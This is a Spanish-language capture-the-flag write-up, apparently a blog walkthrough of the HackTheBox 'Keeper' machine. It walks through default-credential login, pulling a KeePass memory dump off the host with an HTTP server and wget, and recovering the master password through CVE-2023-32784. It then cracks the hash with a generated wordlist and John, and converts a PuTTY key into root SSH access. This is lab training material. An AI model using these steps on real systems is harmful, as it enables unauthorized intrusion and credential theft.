Post

HackTheBox - Keeper

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: Default Credentials, Keepass Dump (CVE-2023-32784)

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos en la Máquina Keeper

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos**

  • nmap -p<Ports> -sCV <IP> -oN versiones

Al visitar la página web veremos un host, el cual añadimos al archivo /etc/hosts

  • Al visitar el host tickets.keeper.htb vemos el siguiente logo

  • Si buscamos por credenciales por defecto veremos root:password, después de autenticarnos buscamos usuarios válidos

  • Seleccionamos al usuario lnorgaard y en su descripción obtendremos una contraseña válida para SSH

d. Nos autenticamos en el servicio SSH

1
2
root@kali> ssh lnorgaard@10.10.11.227
lnorgaard@keeper:~$ 

Escalada de Privilegios 💹

a. En nuestro directorio personal veremos una archivo .zip

1
2
3
4
lnorgaard@keeper:~$ ls -la
total 332856
<SNIP>
-rw-r--r-- 1 root      root       87391651 Aug 25 05:44 RT30000.zip
  • Transferimos este archivo a nuestra máquina atacante para analizarlo

    1
    2
    3
    4
    5
    6
    7
    
      lnorgaard@keeper:~$ python3 -m http.server 4444
      --------------------------------------------------------
      root@kali> wget http://<IP Keeper>:4444/RT30000.zip -o-
      root@kali> unzip RT30000.zip
      root@kali> ls
      -rw-r--r-- 1 root root 253395188 May 24 05:51 KeePassDumpFull.dmp
      -rw-r--r-- 1 root root      3629 Aug 23 12:43 passcodes.kdbx
    

b. Extraemos el hash del fichero .kdbx (keepass2john passcodes.kdbx > hash), como tenemos un archivo .dmp buscamos sobre al relacionado a Keepass y .dmp

  • Nos encontramos con CVE-2023-32784, vemos que a través de un archivo .dmp de Keepass podemos llegar a obtener la contraseña en texto claro

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
      root@kali> dotnet run KeePassDumpFull.dmp 
      1.:     ●
      2.:     ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M, 
      3.:     d, 
      4.:     g, 
      5.:     r, 
      6.:     ø, 
      7.:     d, 
      8.:      , 
      9.:     m, 
      10.:    e, 
      11.:    d, 
      12.:     , 
      13.:    f, 
      14.:    l, 
      15.:    ø, 
      16.:    d, 
      17.:    e, 
      Combined: ●{ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M}dgrød med fløde
    

    El primer carácter no fue capaz de extraerse y el segundo puede ser cualquiera entre {ø, Ï, ,, l, `, -, ‘, ], §, A, I, :, =, _, c, M}

    En caso de obtener un error al ejecutar el comando anterior, modificamos el fichero keepass_password_dumper.csproj con esto:

    1
    2
    3
    4
    5
    6
    7
    8
    
      <Project Sdk="Microsoft.NET.Sdk">
          <PropertyGroup>
          <OutputType>Exe</OutputType>
          <TargetFramework>net6.0</TargetFramework>
          <ImplicitUsings>enable</ImplicitUsings>
          <Nullable>enable</Nullable>
          </PropertyGroup>
      </Project>
    

c. Creamos un script en python para crear un diccionario con posibles contraseñas basándonos en el output del script

1
2
3
4
5
6
7
8
9
10
import string
possible_password = 'dgrød med fløde'

string_global = string.ascii_letters + string.digits + string.punctuation
posible_second_character = "øÏl`-',]§AI:=_cM"

for second in posible_second_character:
	for letter in string_global:
		partial = second + possible_password 
		print(letter + partial)
1
python3 script.py > possible_passwords.txt
  • Crackeamos el hash usando el diccionario creado previamente

    1
    
      root@kali> john hash -w=./possible_passwords.txt 
    

d. Con la credencial obtenida podemos leer el contenido del fichero passcodes.kdbx

  • El usuario root tiene una clave Putty y para transformarla a pares de claves SSH, copiamos esta clave en una archivo .ppk y usamos este blog
1
2
3
root@kali> puttygen file.ppk -O public-openssh -o id_rsa.pub
root@kali> puttygen file.ppk -O private-openssh -o id_rsa
root@kali> chmod 600 id_rsa

c. La clave id_rsa nos sirve para autenticarnos en el servicio SSH como el usuario root

1
2
3
4
root@kali> ssh root@<IP Keeper> -i id_rsa
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

root@keeper:~#
This post is licensed under CC BY 4.0 by the author.